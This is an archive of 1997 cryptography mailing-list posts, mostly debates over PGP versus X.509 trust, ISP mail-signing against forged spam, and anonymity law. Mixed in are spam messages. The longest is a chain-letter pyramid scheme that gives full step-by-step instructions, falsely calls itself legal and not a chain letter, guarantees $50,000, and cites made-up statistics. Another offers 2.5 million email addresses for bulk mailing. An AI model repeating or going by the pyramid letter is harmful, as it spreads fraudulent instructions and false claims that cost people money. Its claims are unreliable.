
http://www.verisign.com/pr/pr_idfct.htm
Class 3 Digital IDs 

     Require personal presence or registered credentials

     Used for e-banking, large-sum transactions and contract execution

     Cost: $24/year for individuals, $290/year for entities/web servers
($75 per
     year renewal) 


If you are a bank or company that needs to depend on an identity inthis
circumastance the critical point is that you have a standardized level
of security. 

In electronic commerce it is rarely the case that one needs to reduce 
risk to zero. The question is whether you can quantify the risk you are
exposed to. Whether you can insure it.


> I hate to see people doing such things with keyservers and keys, but we all
> knew the problem existed.  I wonder where the solution is.

The solution is to put trust attributes in the certificates. If you
do an email callback you state that that is the identification 
process you used in the cert.

Two years back it would make sense to upgrade PGP certs to work in
this way. At this point however X.509v3 has become the standard,
the most commonly available form of email encryption is S/MIME
which is built into the default operating system from next year
and comes with Communicator. 

X509v3 may not be perfect but its there, it works and you can carry 
the same information and construct the same trust relationships that
PGP supports. You can also construct other relationships. Looking at
the practice of using X509v3 with Outlook Express I found that the 
actual mechanics of use were remarkably similar to PGP except that
it was easy to add in an entire trust domain such as my employer.

At this point I'm somewhat skeptical that a single vendor proprietary
solution should receive unquestioned support from cypherpunks on
the basis of history alone. The question is how to put cryptography
on every desk top on the planet. Bill Gates is a better aly in that
fight than Phil Z. 


I think its rather silly for people to start complaining on this 
list about the bad, bad, hackers. If we could trust people to be
good we would not need certificates or computer security at all.
Making unspecified and unsupported allegations against competitors 
seems to me to be a very bad idea indeed.



	Phill

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7s2017MfpC8gEO7EQI7pACg0285HGGqLevqRTFZnzpB59PS8yoAn1Wp
0b7D8YcrmSn9VbjmAq55nKWx
=fRuw
-----END PGP SIGNATURE-----






From empower at murlin.com  Fri Jul  4 00:40:38 1997
From: empower at murlin.com (empower at murlin.com)
Date: Fri, 4 Jul 1997 00:40:38 -0700 (PDT)
Subject: Walk the Talk.
Message-ID: 


Sadly, 99.9 percent of all unsolicited e-mail *is* junk.

But sometimes you find a jewel in the septic tank.

We walk the talk.

Discover an extensive selection of cutting edge
information, free links and tools to help you
empower your life with health, wealth and
prosperity, including:

===> How to Turn Your Ideas Into Income Without
         Schemes
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===> "EntrepreneURLs": dozens of valuable links,
         resources and contacts
===> "ResponsEmail" Marketing System
===> Hot Lists

And much more.

<><><><><><><><><><><><><><><><><><><><><><>

" You will be astonished!"
--Brian Tracy, best-selling author of MAXIMUM
  ACHIEVEMENT and THE PSYCHOLOGY OF SUCCESS

"Goes much deeper than it's competition."
--OPPORTUNITY Magazine

"Based on tried and true strategies, that, for the most
part, the experts have kept secret."
--Author Anthony Trupiano, in THE BEST DEALS IN
  AMERICA TODAY

<><><><><><><><><><><><><><><><><><><><><><><>

Find out for yourself. Just point and click:
http://www.windansea1.com






From nobody at REPLAY.COM  Thu Jul  3 09:41:34 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 4 Jul 1997 00:41:34 +0800
Subject: ISP signatures on outgoing mail
Message-ID: <199707031614.SAA27700@basement.replay.com>



Anyone heard of a proposal for ISPs to automatically sign outgoing
mail headers?  Problem has been that spammers send email by one
path but forge a reply-to or from address at another location.  Most
recent case is hotmail, which got blocked by netcom over a spam attack.
Actually mail didn't come from hotmail, was forged to look like it came
from there.  Same thing has happened to remailers.

They need a standard for which headers to sign, then a dig sig can be
included in the headers to check that a message came from where it
claims.






From tzeruch at ceddec.com  Thu Jul  3 09:42:57 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Fri, 4 Jul 1997 00:42:57 +0800
Subject: Liberating the Bits
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <97Jul3.120022edt.32259@brickwall.ceddec.com>



On Wed, 2 Jul 1997, BigNuts wrote:

> Michael Stutz wrote:
> > On Tue, 1 Jul 1997, Tim May wrote:
> > 
> > > Technology liberates the bits.
> > 
> > Copyright law is not only useless on the net but inefficient; one need only
> > compare the performance of free, copylefted software versus proprietary,
...
>   Tim gave excellent information on how one can go about using 
> technology to enjoy the fruits of other people's labour without 
> contributing toward the survival of those producing the things
> he enjoys.

Or the same technology can restrict usage - strongly encrypted software
that checks digitally signatured dates and stops upon expiration.  If you
don't want to honor the private contracts (licensing agreements where
applicable), then something else will replace them.  Maybe it will be free
software (which does work better than commercial software, but doesn't
always have the desired features).  Maybe it will be the technonightmare.

A great deal of evil can be committed, and the only difference is that now
"government" as we know it will be unable to control it.

Over 200 years ago, both the United States and France rid themselves of
their monarchy.  One ended in liberty, the other in anarchy, eventually
reinstalling a coercive government.  When the communists lost power in
eastern europe, many died from not obeying the sensible traffic laws.

I think it depends on how ethical the individual people will be when
confronted by the anarchy of the internet.  If I govern myself, I don't
need big brother to do it.  Might doesn't make right, it can only destroy
and not create, and at best merely preserve the peace.

Nor is it ethics in a pure, merely altruistic sense.  I want Phil
Zimmerman to be around and writing software.  For that to happen, it is in
my interest to contribute to him, either directly (PGP Inc. could be the
PGP foundation), or indirectly.  I want Linux to do certain things, so I
write them, and because of the free software ethic, I add my work to the
public pool - it would be more expensive to try selling it.  But I make
money by consulting and using the software that is available.

Although I believe there is nothing new under the sun, the breakdown of a
paternal/maternal enforcement entity called "government" will force a
change in society.  There will be a "new" ethical system, which is cause
for both hope and fear. 







From randerso at ece.eng.wayne.edu  Thu Jul  3 12:15:47 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Fri, 4 Jul 1997 03:15:47 +0800
Subject: ISP signatures on outgoing mail
Message-ID: 




On Thu, 3 Jul 1997, Anonymous wrote:

> They need a standard for which headers to sign, then a dig sig can be
> included in the headers to check that a message came from where it
> claims.

this doesn't seem to help solve the problem very much.  The way SMTP works
right now, spammers can frequently just connect to somebodies SMTP server,
drop off a load of e-mail, and let their server handle it.  (identical to
how the ISPs customers drop off mail)

All we get out of this is a way to blame those who sign their mail and get
slammed by a spammer.

Funny, this wouldn't seem to hurt remailers all that much.  You'd
basically guarantee that, yes, the mail really did come from the anonymous
remailer.  :-)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------









From whgiii at amaranth.com  Thu Jul  3 13:37:03 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 4 Jul 1997 04:37:03 +0800
Subject: PGP security problems?
Message-ID: <199707032025.PAA30172@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <33BBCB54.2781 at ai.mit.edu>, on 07/03/97 
   at 11:55 AM, Hallam-Baker  said:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1

>Robert A. Costner wrote:
>> 
>> At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
>> >The email forgeries using bogus PGP keys to give the appearance
>> >that the messages are from PGP, Inc. and our employees are the
>> >result of a sick, twisted mind.
>> 
>> While a keyserver with no authentication has a very low barrier to entry
>> for false authentication, the barrier is not that much higher for even a
>> Verisign class three verification.  I've continually said that the biggest
>> problem with secure authentication is that secure authentication is not
>> possible.

>I don't think thats a reasonable assertion at all. PGP is positing that
>they have an online identification technique. Verisign are asserting they
>have performed a particular identification process and suggest that it is

>sufficient for a particular purpose:

>http://www.verisign.com/pr/pr_idfct.htm
>Class 3 Digital IDs 

>     Require personal presence or registered credentials

>     Used for e-banking, large-sum transactions and contract execution

>     Cost: $24/year for individuals, $290/year for entities/web servers
>($75 per
>     year renewal) 


>If you are a bank or company that needs to depend on an identity inthis
>circumastance the critical point is that you have a standardized level of
>security. 

>In electronic commerce it is rarely the case that one needs to reduce 
>risk to zero. The question is whether you can quantify the risk you are
>exposed to. Whether you can insure it.


>> I hate to see people doing such things with keyservers and keys, but we all
>> knew the problem existed.  I wonder where the solution is.

>The solution is to put trust attributes in the certificates. If you do an
>email callback you state that that is the identification  process you
>used in the cert.

>Two years back it would make sense to upgrade PGP certs to work in this
>way. At this point however X.509v3 has become the standard, the most
>commonly available form of email encryption is S/MIME which is built into
>the default operating system from next year and comes with Communicator. 

>X509v3 may not be perfect but its there, it works and you can carry  the
>same information and construct the same trust relationships that PGP
>supports. You can also construct other relationships. Looking at the
>practice of using X509v3 with Outlook Express I found that the  actual
>mechanics of use were remarkably similar to PGP except that it was easy
>to add in an entire trust domain such as my employer.

>At this point I'm somewhat skeptical that a single vendor proprietary
>solution should receive unquestioned support from cypherpunks on the
>basis of history alone. The question is how to put cryptography on every
>desk top on the planet. Bill Gates is a better aly in that fight than
>Phil Z. 


>I think its rather silly for people to start complaining on this  list
>about the bad, bad, hackers. If we could trust people to be good we would
>not need certificates or computer security at all. Making unspecified and
>unsupported allegations against competitors  seems to me to be a very bad
>idea indeed.


Phil what can I say except this is just BULL!

Last time I looked the S/MIME & X509 v3 specs were not in a finished
state.

What I have seen of the specs I do not like. The sepcs are overly complex
and fail to offer any added security over what can be obtained using PGP.

Then we have GAK directly referenced and supported in the specs:

>5.1 Binding Names and Keys

>An S/MIME agent or some related administrative utility or function MUST
>be capable of generating a certification request given a user's public
>key and associated name information. In most cases, the user's public
>key/private key pair will be generated simultaneously. However, there
>are cases where the keying information may be generated by an external
>process (such as when a key pair is generated on a cryptographic token
>or by a "key recovery" service).
 
Now lets add to this Netscapes support of weak crypto & their
implementation of "policy tokens".

Are these really the people you wish to trust with the future of crypto??
Are you willing to condem the world to Win95 & Communicator (2 of the
bigest peices of crap I have ever seen passed of as comercial software).

Phil Zimmerman has done more for putting STRONG crypto on every desktop
than M$,N$,R$A or the rest ever have or ever will.

Make no mistakes about it, our goal should be to put STRONG crypto on
every desktop not just any weak peice of crap available. Weak crypto is
worse than no crypto at all.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7wJcY9Co1n+aLhhAQHL5AP+LHUhm9qzChoPIfZt3mClFCpk41Byx95D
0o/jxHBgyr1b4Xu96BiZXkNYn5Z/B7pXCyp8j5JU1nHs3een/n+Bg2V3gxZHK5hf
dhAGyetvDHq1h9sxXtWi/3kVctJQN0dGH7TT7RRA46pG0CfIdn2LX/DbnI04COcf
f3Xp+dve8wY=
=PS/R
-----END PGP SIGNATURE-----






From newlife at saveself.com  Fri Jul  4 05:23:27 1997
From: newlife at saveself.com (newlife at saveself.com)
Date: Fri, 4 Jul 1997 05:23:27 -0700 (PDT)
Subject: $$$ GET YOUR SHARE $$$
Message-ID: <0000000000.AAA000@saveself.com>






You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!... 

Dear Friend,

I know that this seems like another one of those E-mails trying to 
clutter up your mail box, but if you will give me five minutes of your
 time to read this letter I think that you will understand why.

My name is Christopher Erickson. Two years ago, the corporation
I worked at for the past twelve years down-sized and my position
 was eliminated. After unproductive job interviews, I decided to 
open my own business... Soon I owed my family, friends, and 
creditors over $35,000... I had to refinance and borrow against my
 home to support my family and struggling business.
 AT THAT MOMENT something significant happened in my life and
 I am writing to share my experience in hopes that this will change
 your life FOREVER... FINANCIALLY!!!

I received this program via e-mail. THANK GOODNESS they got
 my name off a mailing list!!! After reading it several times, to make 
sure I was reading it correctly, I couldn't believe my eyes. Here was
 a MONEY-MAKING PHENOMENON. I could invest as much as I 
wanted without putting me further in debt. I figured I would at least 
get my money back. After determining that the program is
 LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".

Initially I sent out 10,000 e-mails. It only cost me about $15.00 for
 my time on-line.  The great thing about e-mail is that I didn't need 
any money for printing to send out the program, only the cost to fulfil
l my orders. I am telling you like it is, I hope it doesn't turn you off, 
but I promised myself that I would not "cheat" anyone, no matter
 how much money it cost me!.

In one week, I was receiving orders for REPORT #1. In less than
 a month, I had received 26 orders for REPORT #1. When you read
 the GUARANTEE in the program, you will see that
 "YOU MUST RECEIVE 15 TO 20 ORDERS FOR REPORT #1
 WITHIN TWO WEEKS. IF YOU DON'T, SEND OUT MORE
 PROGRAMS UNTIL YOU DO!"
 My first step in making $50,000 in 20 to 90 days was I paid off ALL
 my debts and bought a much needed new car. Please take time to 
read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
 Remember, it wont work if you don't try it. This program does work, 
but you must follow it EXACTLY! Especially the rules of not trying to 
alter the names or sequence.  REPORT #2 explains this. Always
 follow the guarantee, 15 to 20  orders for REPORT #1, and 100 or
 more orders for REPORT #2 and you will make $50,000 or more in
 20 to 90 days. I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry. It really is a
 great opportunity with little cost or risk to you. If you choose to
 participate, follow the program and you will be on your way to financial
 security. 

If you are a fellow business owner and you are in financial trouble like
 I was, or you want to start your own business, consider this a sign. I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled up on
a kitchen table? IT'S AWESOME!


"THREW IT AWAY"

"I had received this program before. I threw it away, but later wondered if
 I shouldn't have given it a try. Of course, I had no idea who to contact to
 get a copy, so I had to wait until I was emailed another copy of the program. 
 Eleven months passed, then it came. I DIDN'T throw this one away. I
 made $41,000 on the first try."

                                        Dawn W., Evansville, IN


A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over 
the enclosed program and reports, you should have concluded that
 such a program, and one that is legal, could not have been created
 by an amateur.

Let me tell you a little about myself. I had a profitable business for
 ten years. Then in 1979 my business began falling off. I was doing 
the same things that were previously successful for me, but it wasn't
working. Finally, I figured it out. It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had
 been with us since 1945. I don't have to tell you what happened to
the unemployment rate... because many of you know from first hand 
experience. There were more failures and bankruptcies than ever before.

The middle class was vanishing. Those who knew what they were
 doing invested wisely and moved up. Those who did not, including 
those who never had anything to save or invest, were moving down
 into the ranks of the poor. As the saying goes,
 "THE RICH GET RICHER AND THE POOR GET POORER." 
The traditional methods of making money will never allow you to 
"move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
 for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." 
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor anyone
 else who has provided a testimonial for this program. I have already made
 over FOUR MILLION DOLLARS! I have retired from the program after sending 
out over 16,000 programs. Now I have several offices which market this and 
several other programs here in the US and overseas.  By the Spring, we wish
to market the 'Internet' by a partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way.
 It works exceedingly well as it is now. Remember to e-mail a copy of this
 exciting program to everyone that you can think of. One of the people you
 send this to may send out 50,000... and your name will be on every one of
them!. Remember though, the more you send out, the more potential customers
 you will reach.

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a little
 time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out
 what could happen when YOU participate. Figure out the worst possible 
response and no matter how you calculate it, you will still make a lot of money!
Definitely get back what you invested. Any doubts you have will vanish when
 your first orders come in. IT WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

If you decide to start small, just to see how it goes, then let's assume you 
and all those involved send out 2,000 programs each. Let's also assume
 that the mailing receives a .5% response.
 That is only 10 orders for REPORT #1! Those 10 people respond by 
sending out 2,000 programs each for a total of 20,000. Out of those .5%, 
100 people respond and order REPORT #2. Those 100 mail out 2,000 
programs each for a total of 200,000. The .5% response to that is 1,000
 orders for REPORT #3. Those 1,000 send out 2,000 programs each for 
a 2,000,000 total. The .5% response to that is 10,000 orders for
 REPORT #4. That's 10,000 five dollar bills for you. CASH!!!!

Your total income in this example is $50 + $500 + $5000 +
 $50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS
 ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO 
ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM! DARE 
TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
 OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 
2,000. Believe me, many people will do that and more! By the way, your
 cost to participate  THIS IS A LEGITIMATE, LEGAL, MONEY MAKING
 OPPORTUNITY. It does not require you to come in contact with people,
 do any hard work, and best of all, you never have to leave the house
 except to get the mail.  Someday you'll get that big break that you've
 been waiting for, THIS IS IT! Simply follow the instructions, and your
dream will come true. This multi-level e-mail order marketing program
works perfectly... 100% EVERY TIME.

E-mail is the sales tool of the future. Take advantage of this
 non-commercialized
 method of advertising NOW!! The longer you wait, the more people
will be doing business using e-mail. Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.
 It is being taught in the Harvard Business School, and both Stanford 
Research and The Wall Street Journal have stated that between
 50% and 65% of all goods and services will be sold throughout
 Multi-level Methods by the mid to late 1990's. This is a Multi-Billion 
Dollar industry and of the 500,000 millionaires in the US, 20%
 (100,000) made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everyday
 through Multi-Level Marketing.

INSTRUCTIONS

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1) Order all four 4 REPORTS listed by NAME AND NUMBER.
 Do this by ordering the REPORT from each of the four 4 names
 listed on the next page. For each REPORT, send $5 CASH and a
 SELF- ADDRESSED, STAMPED envelope (BUSINESS SIZE #10)
 to the person listed for the SPECIFIC REPORT.

International orders should also include $1 extra for postage. It is
 essential that you specify the NAME and NUMBER of the report 
requested to the person you are ordering from. You will need
 ALL FOUR 4 REPORTS because you will be REPRINTING and
 RESELLING them. DO NOT alter the names or sequence other
 than what the instructions say. 
IMPORTANT: Always provide same-day service on all orders.

Step (2) Replace the name and address under REPORT #1 with 
yours, moving the one that was there down to REPORT #2. Drop
 the name and address under REPORT #2 to REPORT #3, 
moving the one that was there to REPORT #4. The name and 
address that was under REPORT #4 is dropped from the list and
 this party is no doubt on the way to the bank. When doing this,
 make certain you type the names and addresses ACCURATELY!
 DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the required changes in the NAME list, save it as
 a text (.txt) file in it's own directory to be used with whatever e-mail
 program you like. Again, REPORT #3 will tell you the best methods of 
bulk emailing and acquiring e-mail lists.

Step (4) E-mail a copy of the entire program (all of this is very important)
 to everyone whose address you can get your hands on. Start with friends
 and relatives since you can encourage them to take advantage of this
 fabulous money-making opportunity. That's what I did. And they love
 me now, more than ever. Then, e-mail to anyone and everyone! Use
 your imagination!  You can get e-mail addresses from companies on the
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100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so
 always request a FRESH, NEW list. You will find out where to purchase
 these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:


WFH  MARKETING
PO BOX 425
WHITMAN, MA  02382
USA

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

Skynr Comm.  Inc   
1108 Skyline Dr.
Suite 421
Arlington,  TX   76011		
USA

________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Geddie Marketing
4700 Dester Ave.
Box  222
Ft.  Worth   TX   76107






________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Trestken Market Research
P. O. Box 1442
Pottsboro, TX 75076
USA

________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
 decisions as never before.  Go into business, get into investments, retire
 or take a vacation.  No longer will a lack of money hold you back.

Please re-read this material, this is a special opportunity. If you have any 
questions, please feel free to write to the sender of this information. 
You will get a prompt and informative reply.

My method is simple. I sell thousands of people a product for $5 that 
costs me pennies to produce and e-mail. I should also point out that 
this program is legal and everyone who participates WILL make money. 
This is not a chain letter or pyramid scheme. At times you have probably
 received chain letters, asking you to send money, on faith, but getting
 NOTHING in return, NO product what-so-ever! Chain letters are illegal
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You are offering a legitimate product to your people. After they purchase
the product from you, they reproduce more and resell them. It's simple free
 enterprise. As you learned from the enclosed material, the PRODUCT is a
series of four 4 FINANCIAL AND BUSINESS REPORTS. The information
 contained in these REPORTS will not only help you in making your 
participation in this program more rewarding, but will be useful to you in any
 other business decisions you make in the years ahead. You are also
 buying the rights to reprint all of the REPORTS, which will be ordered 
from you by those to whom you mail this program. The concise one and 
two page REPORTS you will be buying can easily be reproduced at a
 local copy center for a cost off about 3 cents a copy. Best wishes with
 the program and Good Luck!

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the orders start coming in. When you receive a $5 order, you MUST send out the product/service to comply with US Postal and Lottery laws. Title 18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1. Name your new company. You can use your own name if you
    desire.

2. Get a post office box (preferred).

3. Edit the names and addresses on the program. You must remember, your name and address go next to REPORT #1 and the others all move down one, with the fourth one being bumped OFF the list.

4. Obtain as many e-mail addresses as possible to send until you receive the information on mailing list companies in REPORT #3. 

5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make.

6. After mailing the programs, get ready to fill the orders.

7. Copy the four 4 REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE ON ORDERS YOU
RECEIVE!

8. Make certain the letter and reports are neat and legible.

    YOUR GUARANTEE

The check point which GUARANTEES your success is simply this: you must receive 15 to 20 orders for REPORT #1. This is a must!!! If you don't within two weeks, e-mail out more programs until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2, if you don't, send out more programs until you do. Once you have received 100 or more orders for REPORT #2, (take a deep breath) you can sit back and relax,  because  YOU  ARE  GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of  those  who  have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."











From jay0070 at ix.netcom.com  Thu Jul  3 14:33:59 1997
From: jay0070 at ix.netcom.com (jay0070 at ix.netcom.com)
Date: Fri, 4 Jul 1997 05:33:59 +0800
Subject: MASS E-MAIL
Message-ID: 




Do you have information you want to distribute to thousands of people, or a product you want to offer to a lot of people quickly?

Look no more.

I will send you electronically 2,500,000 E-mail addresses.  That is 2.5 MILLION!!!!!!!!!!!

You can cut and paste the addresses to your mail server and save them for later.  
Just write up what you want to say, click send, and within minutes you will reach 1000000's of people.

For  $20   I will give you 2.5 million addresses for you to use to market your product or service cost efficiently, and directions on how to do it.

send your E-mail address and $$ to:              Mr. Hammond
                                                                                     P.O. Box 8022
                                                                                     Burlington, VT 05401

I update the addresses monthly...SATISFACTION GUARANTEED






From hedges at infonex.com  Thu Jul  3 15:46:04 1997
From: hedges at infonex.com (hedges at infonex.com)
Date: Fri, 4 Jul 1997 06:46:04 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: <5pbnoe$f29$1@re.hotwired.com>
Message-ID: <199707032233.PAA05206@rigel.cyberpass.net>



Jeff wrote at some unknown date and time:
> The right to anonymity in the US will be legislated away within 18 months, 
> partially because of spam.  I do hope there's a _good_ test case waiting,
> and someone willing to fight it to the end, but I have my doubts.  Ultimately
> the remailer network will be forced to move offshore, the way Crypto 
> development currently has.

I'm not sure this is true, Jeff. As we saw with the CDA, what the
legislature and executives may do under the gun of popular opinion
and funding pressure is not always constitutional. There are
precedents for anonymity, from the time when the Federalist Papers
were published anonymously to now. If you like examine Talley v.
California and McIntyre v. Ohio Campaign Commission, both cases
in which the Supreme Court of the United States upheld the right
to anonymity. As you may know an injunction was issued against the
Georgia (U.S.) State against their anti-anonymity law.

I neglected to post the URL's in the newsgroups: www.epic.org/free_speech/.

>From the legal precedents it does not appear the right to anonymity
is in any immediate jeopardy, though fire-consumed politicians may
push bill after bill into the courts to push personal culpability
for transmission of information. Eventually, with enough case precedent
blocking them every time, legislature will learn that it is futile
to pass an anti-anonymity law, regardless of whether the individual
legislators think it is right or wrong.

The real danger is what you encountered---self styled vigilante
enforcers of narrow-minded selfish pride---people who just can't
stand to be told that they're losers, whether they are or not.
Public defamation using anonymity is an interesting issue, and
one I'm not prepared to take a stand on. Does anyone have commentary?

Mark Hedges
"First you learn you can only know nothing,
 then you learn that everything is just a good idea."






From dformosa at st.nepean.uws.edu.au  Thu Jul  3 16:42:12 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Fri, 4 Jul 1997 07:42:12 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: 
Message-ID: 



On Thu, 3 Jul 1997, Ryan Anderson wrote:

[...]

> this doesn't seem to help solve the problem very much.  The way SMTP works
> right now, spammers can frequently just connect to somebodies SMTP server,
> drop off a load of e-mail, and let their server handle it.

There is now meany patchers to avoid mail relaying like this.  Good ISP's
don't let mail to go from an outside site to anoughter outside site.

>  (identical to how the ISPs customers drop off mail)

No its diffrent ISP's customers move from the inside to the outside.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From randerso at ece.eng.wayne.edu  Thu Jul  3 17:21:54 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Fri, 4 Jul 1997 08:21:54 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: 
Message-ID: 



On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> There is now meany patchers to avoid mail relaying like this.  Good ISP's
> don't let mail to go from an outside site to anoughter outside site.
> 
> >  (identical to how the ISPs customers drop off mail)
> 
> No its diffrent ISP's customers move from the inside to the outside.

Well, with current technology, it's not too difficult to forge DNS
entries, and I imagine you could forge enough entires to confuse a reverse
DNS lookup.  But this is really a different issue and I think the most
recent version of Bind fixes some of these problems..

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From markm at voicenet.com  Thu Jul  3 20:23:21 1997
From: markm at voicenet.com (Mark M.)
Date: Fri, 4 Jul 1997 11:23:21 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: <199707031416.KAA11262@bksmp2.FRB.GOV>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 3 Jul 1997, Tom Allard wrote:

> > Please see http://www.netscum.net/burnorg0.html for more info.
> 
> whois netscum.net
> [...]
> 
>    NS7.CYBERPROMO.COM           205.199.2.250
>    NS9.CYBERPROMO.COM           207.124.161.50
>    NS8.CYBERPROMO.COM           207.124.161.65
>    NS5.CYBERPROMO.COM           205.199.212.50
> 
> 
> The InterNIC Registration Services Host contains ONLY Internet Information
> (Networks, ASN's, Domains, and POC's).
> Please use the whois server at nic.ddn.mil for MILNET Information.

It makes sense that the Net.Scum pages would be hosted by Cyperpromotions
since every other ISP that hosted the web pages were threatened with
libel suits.  As I understand it, Cyberpromo's web hosting services
are separate from their junk email services.  Cyberpromotions gets so
many legal threats that a few more don't make a large difference.  This
was also the reason why an anonymous poster suggested Cyberpromo as a
possible remailer-friendly ISP.



Mark
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From markm at voicenet.com  Thu Jul  3 20:42:05 1997
From: markm at voicenet.com (Mark M.)
Date: Fri, 4 Jul 1997 11:42:05 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 3 Jul 1997, Ryan Anderson wrote:

> On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > There is now meany patchers to avoid mail relaying like this.  Good ISP's
> > don't let mail to go from an outside site to anoughter outside site.
> > 
> > >  (identical to how the ISPs customers drop off mail)
> > 
> > No its diffrent ISP's customers move from the inside to the outside.
> 
> Well, with current technology, it's not too difficult to forge DNS
> entries, and I imagine you could forge enough entires to confuse a reverse
> DNS lookup.  But this is really a different issue and I think the most
> recent version of Bind fixes some of these problems..

It would be possible to configure sendmail to only deliver a message that
has an authorized host in the "MAIL FROM" and "RCPT TO" commands.  This
could possibly be defeated by forging DNS entries in the ISP's nameserver,
